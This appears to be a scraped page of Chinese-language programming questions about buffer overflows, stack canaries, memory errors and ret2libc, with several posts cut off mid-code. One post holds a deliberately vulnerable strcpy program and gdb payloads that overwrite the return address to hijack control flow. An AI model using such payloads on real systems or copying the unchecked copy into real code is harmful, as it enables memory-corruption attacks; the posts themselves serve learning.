PHP如何导致内存泄漏,缓冲区溢出,堆栈溢出以及此类任何其他错误?PHP甚至会导致这样的错误吗?
完全托管的asp.net Web门户网站中是否存在缓冲区溢出/溢出漏洞.如果可以,则可以对其进行测试.
我想跳过C中的一行x=1;,主要部分中的行使用bufferoverflow; 但是,我不知道为什么我不能跳过的地址4002f4下一个地址4002fb尽管如此,我就指望7个字节形式的事实<main+35>来<main+42>.
我还在Debian和AMD环境中配置了randomniZation和execstack环境的选项,但我还是得到了x=1;.这个程序有什么问题?
我用dba来调试堆栈和内存地址:
0x00000000004002ef <main+30>: callq 0x4002a4 **<function>**
**0x00000000004002f4** <main+35>: movl $0x1,-0x4(%rbp)
**0x00000000004002fb** <main+42>: mov -0x4(%rbp),%esi
0x00000000004002fe <main+45>: mov $0x4629c4,%edi
void function(int a, int b, int c)
{
char buffer[5];
int *ret;
ret = buffer + 12;
(*ret) += 8;
}
int main()
{
int x = 0;
function(1, 2, 3);
x = 1;
printf("x = %i \n", x);
return 0;
}
Run Code Online (Sandbox Code Playgroud) 为了我的学习,我尝试创建一个有效载荷,使其溢出缓冲区并调用一个名为"目标"的"秘密"函数
这是我用于在i686上进行测试的代码
#include "stdio.h"
#include "string.h"
void target() {
printf("target\n");
}
void vulnerable(char* input) {
char buffer[16];
strcpy(buffer, input);
}
int main(int argc, char** argv) {
if(argc == 2)
vulnerable(argv[1]);
else
printf("Need an argument!");
return 0;
}
Run Code Online (Sandbox Code Playgroud)
任务1:创建有效负载以便调用target().通过将EIP替换为目标函数的地址,这很容易做到.
这是缓冲区的外观
Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
Run Code Online (Sandbox Code Playgroud)
我使用的有效负载是:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
Run Code Online (Sandbox Code Playgroud)
这样可以正常工作,但会因分段错误而停止.
任务2:以不会导致分段错误的方式修改有效负载
这是我被困的地方.显然它会导致分段错误,因为我们不使用调用指令调用目标,因此没有有效的返回地址.
我试图在堆栈上添加返回地址,但这没有帮助
run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
Run Code Online (Sandbox Code Playgroud)
也许有人可以帮我解决这个问题.可能我还要添加保存的主要EBP?
我附上了程序的objdump
0804847d <target>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec …Run Code Online (Sandbox Code Playgroud) 以下是发生分段错误的代码段(不会调用perror):
job = malloc(sizeof(task_t));
if(job == NULL)
perror("malloc");
Run Code Online (Sandbox Code Playgroud)
更确切地说,gdb说segfault在__int_malloc调用内部发生,这是一个子例程调用malloc.
由于malloc函数与其他线程并行调用,最初我认为它可能是问题所在.我使用的是glibc 2.19版.
数据结构:
typedef struct rv_thread thread_wrapper_t;
typedef struct future
{
pthread_cond_t wait;
pthread_mutex_t mutex;
long completed;
} future_t;
typedef struct task
{
future_t * f;
void * data;
void *
(*fun)(thread_wrapper_t *, void *);
} task_t;
typedef struct
{
queue_t * queue;
} pool_worker_t;
typedef struct
{
task_t * t;
} sfuture_t;
struct rv_thread
{
pool_worker_t * pool;
};
Run Code Online (Sandbox Code Playgroud)
现在未来的实施:
future_t *
create_future()
{ …Run Code Online (Sandbox Code Playgroud) 我的gcc版本是4.8.2,操作系统是ubuntu 14.04(64位).我发现有时gcc自动生成金丝雀有时候不做缓冲区溢出保护,为什么?
生成金丝雀的情况:当SIZE是四的倍数时
#include<stdio.h>
#define SIZE 4
int main()
{
char s[SIZE];
scanf("%s", s);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
asm在gcc -c -g -Wa,-a,-ad之后
...
4:a.c **** int main()
5:a.c **** {
13 .loc 1 5 0
14 .cfi_startproc
15 0000 55 pushq %rbp
16 .cfi_def_cfa_offset 16
17 .cfi_offset 6, -16
18 0001 4889E5 movq %rsp, %rbp
19 .cfi_def_cfa_register 6
20 0004 4883EC10 subq $16, %rsp
21 .loc 1 5 0
22 0008 64488B04 movq %fs:40, %rax
22 25280000
22 00
23 0011 …Run Code Online (Sandbox Code Playgroud) Android应用程序经常崩溃,以下是来自logcat的日志.
com.google.android.apps.gsa.shared.speech.ag:在com.google.android.apps上从com.google.android.apps.gsa.staticplugins.recognizer.iaa(SourceFile:342)的输入流中读取错误位于java.util.concurrent.Executors的.gsa.staticplugins.recognizer.ia $ 1.run(SourceFile:1367)java.util.concurrent.FutureTask.run上的$ RunnableAdapter.call(Executors.java:428)(FutureTask.java: 237)在java.util的java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1133)的com.google.android.apps.gsa.shared.util.concurrent.a.ak.run(SourceFile:66) .concurrent.ThreadPoolExecutor $ Worker.run(ThreadPoolExecutor.java:607)at java.lang.Thread.run(Thread.java:761)at com.google.android.apps.gsa.shared.util.concurrent.a.ad $ 1.run(SourceFile:85)引起:com.google.android.apps.gsa.shared.exception.GsaIOException:错误代码:393238 | 缓冲区溢出,没有可用空间.com.google.android.apps.gsa.speech.audio.Tee.g(SourceFile:2531)at com.google.android.apps.gsa.speech.audio.ap.read(SourceFile:555)at java.io com.google.android.apps.gss.csa. java.util.concurrent.Executors $ 1.run(SourceFile:471)在com.google.android的java.util.concurrent.FutureTask.run(FutureTask.java:237)上的$ RunnableAdapter.call(Executors.java:428) .coms.gss..shared.util.concurrent.a.ak.run(SourceFile:66)at com.google.android.apps.gsa.shared.util.concurrent.a.ax.run(SourceFile:139)at com .google.android.apps.gsa.shared.util.concurrent.a.ax.run(SourceFile:139),位于java.util.concurrent.ThreadPoolExecutor的java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1133) $ Worker.run(ThreadPoolExecutor.java:607)位于com.google.android.apps.gsa.shared.util.concurrent.a.ad $ 1.run的java.lang.Thread.run(Thread.java:761)的SourceFile:85)
任何答案都是高度重视的.
将理解以下错误的解释.
Caused by: com.google.android.apps.gsa.shared.exception.GsaIOException: Error code: 393238 | Buffer overflow, no available space.
Run Code Online (Sandbox Code Playgroud) 我想理解这两种攻击之间的确切区别.据我所读:
缓冲区溢出:它覆盖堆栈上的ret地址,指向插入恶意代码的代码的另一部分.如此有效 - 在这里我们需要修改程序的源代码来实际执行攻击.
返回Libc-这里不使用修改源代码,而是使用C库提供的运行时函数调用(比如打开shell).这里用于函数调用的参数也在覆盖缓冲区中传递,最后在堆栈的ret部分之后.
以上是准确的描述吗?
另一个相关问题 - 是否有可能在没有实际修改原始程序的源代码的情况下进行缓冲区溢出攻击?可能是我们编写一个新程序并允许它修改某些内存部分(这是原始程序损坏的堆栈中的新的ret地址).然后,我认为这可能是不可能的,因为内核中的进程之间提供了内存保护.
我有一个缓冲区,想要做一个测试,看看缓冲区是否有足够的容量,我可以找到我可以添加到缓冲区的元素数量.
char *buffer = (char *)malloc(sizeof(char) * 10);
Run Code Online (Sandbox Code Playgroud)
做一个
int numElements = sizeof(buffer);
Run Code Online (Sandbox Code Playgroud)
不回10,有关如何实现这一点的任何想法?
#include <stdio.h>
main()
{
char buf[8];
sprintf(buf,"AAAA%3s","XXssssssssXXXsssssXXX");
printf("%s\n",buf);
}
Run Code Online (Sandbox Code Playgroud)
我希望valgrind能够使用上面的代码检测缓冲区溢出.但它不会报告任何错误或警告.我需要为此启用任何特殊标志吗?